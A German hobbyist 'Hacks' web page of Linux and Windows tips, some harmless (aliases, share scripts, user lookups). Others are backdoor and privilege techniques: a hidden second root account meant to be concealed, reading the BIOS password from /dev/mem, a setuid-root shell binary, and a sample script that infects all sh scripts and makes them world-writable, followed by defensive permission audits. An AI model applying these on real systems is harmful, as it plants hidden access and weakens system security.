Navigation

 News
 Blog
 Dokumente
 Projekte
 Hacks
 Download
 Forum
 Partner
 Banner
 Links
 Changelog
 Impressum


Willkommen 3.147.51.187

Aktuelle Virenmeldungen:


Neuesten 3 Dokus:


Partner:

www.wissenundpraxis.com
www.saveyour.homelinux.org
www.sco-world.de
www.hakin9.org/de

schon Partner...?


Hacks

Ein Hack stellt immer eine einmalige Lösung dar, welche meist genau für ein spezifisches Problem kreiert wurde.[1]
Aber auch spezielle Tricks um sich Arbeit zu ersparen sind davon betroffen.

Ausgabe nur versteckter Dateien unter Linux
Unter Linux kann es zu Situation kommen, in denen man sich in einem Verzeichnis nur den Inhalt versteckter Dateien anzeigen lassen möchte. In so einer Situation kann ein passender Alias einem Zeit und Nerven sparren. Dieser könnte dann wie folgt aussehen:
nano -w ~/.bashrc

alias us="ls -la | grep ^- | awk '{print \$9}' | grep ^\\\."

source ~/.bashrc
Nach dem der Alias der bashrc Hinzugefügt wurde, muss dieser noch der aktuellen Shell mitgeteilt werden.




2. versteckter Root-User
Da ein Linux-System den Benutzer anhand der UID sowie der GID zuordnet, ist es möglich auch einen zweiten User mit gleicher GID und UID zu erstellen, der dann auf dem System die gleiche Berechtigung besitzt. Somit ist für einen zweiten Root-User ein Benutzer zu erstellen der die UID == 0 und GID == 0 inne hat.

root@duddits: / # useradd -s /bin/sh -m -d /home/.hideroot -o -u 0 -g 0 hideroot

root@duddits: / # passwd hideroot

New UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Um nun den Benutzer nun zu verstecken ist es notwendig, die /etc/passwd sowie die /etc/groups zu stealthen und getent auch den verschleierten Inhalt zu präsentieren. Wie das geht ist in naher Zukunft bei den Dokumenten zu finden.


Windows 2003 Freigabe Script
Dieses kleine Script liest aus einer Datei (z.B. .txt) die Freigabenamen aus und setzt die Berechtigungen ensprechend. Dabei sollte der Freigabename gleich dem Benutzernamen sein um Effektiv die Berechtigungen zu setzen:

@echo off & setlocal
for /f"tokens=1" %%i (sharenames.txt) do net share %%i=D:\home\%%i /GRANT:%%i,CHANGE

Dieses Script ist als .bat abzuspeichern. Falls man möchte, dass der Freigabename nicht dem Benutzer entspricht, kann man in der sharenames.txt die Freigabenamen entsprechend setzen, muss aber dafür den Benutzer, für den die Berechtigungen gelten soll, bei /GRANT:<Benutzer>,<Berechtigung> entsprechend eintragen. Dabei sind als Berechtigungen READ, CHANGE oder FULL möglich. Wer das Script dennoch für Pre Windows 2003 verwenden will (z.B. bei Windows XP) muss leider auf die /GRANT-Option verzichten.


BIOS Passwort auslesen
Dieser Hack bietet eine mögliche Lösung zum Auslesen des Inhalts des RAMs, in dem unter anderem das BIOS-Passwort hinterlegt wird. Der Bereich im Speicher(RAM), in dem das Passwort hinterlegt wird, ist an aller ersten Stelle im Speicher. Das Verfahren, BIOS relevante Daten an erster Stelle im Speicher vor traditionellen Betriebsystemen zu verstecken, nennt sich "Shadow Ram". Der Grund für ein solches Verfahren lässt sich damit begründen, das ROMs (wie im BIOS) 8bit addressierbare Speicher sind. Deshalb kann auf einer 32bit Maschine ein Lesezyklus auch schon mal 160-400ns * 4 dauern. Im RAM sind diese Zugriffe wesentlich schneller durchführbar. Der Bereich des ROM wird in den RAM kopiert, wo er neu an der gleichen Stelle erreichbar ist wie ursprünglich. Es wird also mit einer Kopie gearbeitet. Der Bereich ist auch nur lesbar und nicht beschreibbar und kann daher nicht überschrieben bzw. modifiziert werden. Um das ganze nun unter Linux auszuführen ist folgender Code in der Shell abzusetzen:
		  	   dd if=/dev/mem bs=512 skip=2 count=1 | hexdump -C
Nun sieht man sich einfach jedes 2. Byte an um das Passwort zu identifizieren. Wichtig ist noch anzumerken, dass man fuer einen Lesezugriff im RAM root-Rechte benötigt.


Benutzer ID Überprüfung
Dieser Hack bietet eine mögliche Lösung zum Überprüfen ob eine Benutzer-ID schon vorhanden ist oder nicht. Dabei ist <benutzer-id> durch die ID die man sucht zu ersetzen. Falls nun nichts angezeigt wird, weiß man das diese ID frei ist, also nicht in Verwendung ist. Falls man das gleiche für einen Benutzer machen möchte ist das $3 durch $1 zu ersetzen.

	   awk -F: '{print $3}' /etc/passwd | grep -i <benutzer-id>

Um sich alle Benutzer auf einem Linux-System anzeigen zulassen, kann man folgende Befehlsfolge verwenden:
	   awk -F: '{print $1}' /etc/passwd


command.com
Viele XP-User sind oft um die Sicherheit ihrer Systeme besorgt und glauben das man einem vermeindlichem "Hacker" lokal in seinen Tun einschränken kann, in dem man dem laufendem User wenig Rechte gibt und weiterhin der Kommandozeile alle Rechte zur Ausführung nimmt. Um dennoch die Konsole nutzen zu können ist es unter XP möglich mit dem Kommando command.com in die aus älteren Windows-Version bekannte Kommandozeile zu gelangen. Natürlich hat man damit nicht die Einschränkungen des Users umgangen, aber das ist auch ein anderes Thema und findet sich vielleicht im Dokumente Archiv wieder.

		   command.com



Eine Rootshell
In manchen Linux-/Unix-Systemen ist man oft dazu angehalten sich immer wieder als Root anzumelden, da es aber lästig ist ständig das Passwort einzugeben wäre es praktisch wenn man eine Verknüpfung hätte um Root zu werden. Hier zeige ich eine möliche Variante wie man sich mit einem einfachen C-Programm dazu Abhilfe schaffen kann. Einziges manko an dieser Sache ist, dass dadurch ein riesen großes Sicherheitsloch ins System gerissen wird. Es ist zwar mölich das Script nur einer spezielen Gruppe zuzuweisen und den anderen(other) keine Rechte zu geben, aber wirklich sicherer wird das System dadurch nicht. Deshalb sollte man das auch nur auf einem Test-Sytemen oder Privat-Systemen machen. Auf einem Server/Router hat solch ein Script nichts verloren!

Code :

root@duddits: /home/daniel # vi rs.c

#include 
int main(void) {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "-bash", NULL);
    return 0;
}

root@duddits: /home/daniel # gcc -o shell rs.c
root@duddits: /home/daniel # chmod 4755 shell
root@duddits: /home/daniel # exit
daniel@duddits: /home/daniel $ ./shell
root@duddits: /home/daniel #

Das ganze ist natürlich als Root auszuführen. Eine wesentlich saubere und durchaus sichere Methode ist sudo. Dennoch hat auch sudo (siehe Dokumente --> Linux) nichts auf einem Server/Router zu suchen.



Datei- und Verzeichnisberechtigungen
Es macht durchaus Sinn sein Linux-/Unix-System nach WordWritable-Files und -Folders zu durchsuchen. Selbiges gilt auch für Dateien(engl. Files) und Ordner(engl. Folders) die mit einem SUID-/SGID-Bit ausgestattet sind. Den ein Angreifer könte ohne großen Aufwand heraus bekommen wo diese Dateien sich befinden und direkt mit Schadecode füttern.

rss@duddits:/tmp # vi vir

#!/bin/sh
for f in 'find . -type f -exec grep -ql \#\!/bin/sh {} \;'
do
echo "Achtung! Ich bin die Schaderoutine !!!" > tmp$$
cat $f >> tmp$$
mv tmp$$ $f
chmod 777 $f
done 
Damit werden nun alle sh-Scripte mit einer Schadroutine belastet, wo bei dies hier nur Beispielhaft dargestellt ist. Um nun alle solche Scripte vor einem Angreifer zu schützen durchsucht man sein System nach den oben genannten Dingen ab:
# find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; > ww-files
# find / -type d \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; > ww-directories
# find / -type f -perm 04000 -ls > suid-files
Anschließend setzt man bei den gefundenen Dateien/Ordner die Rechte mit chmod richtig.


[1] Zitat von squeez (Marco Gerber)


Copyright © 2006-2008 Daniel Baier: Alle Rechte vorbehalten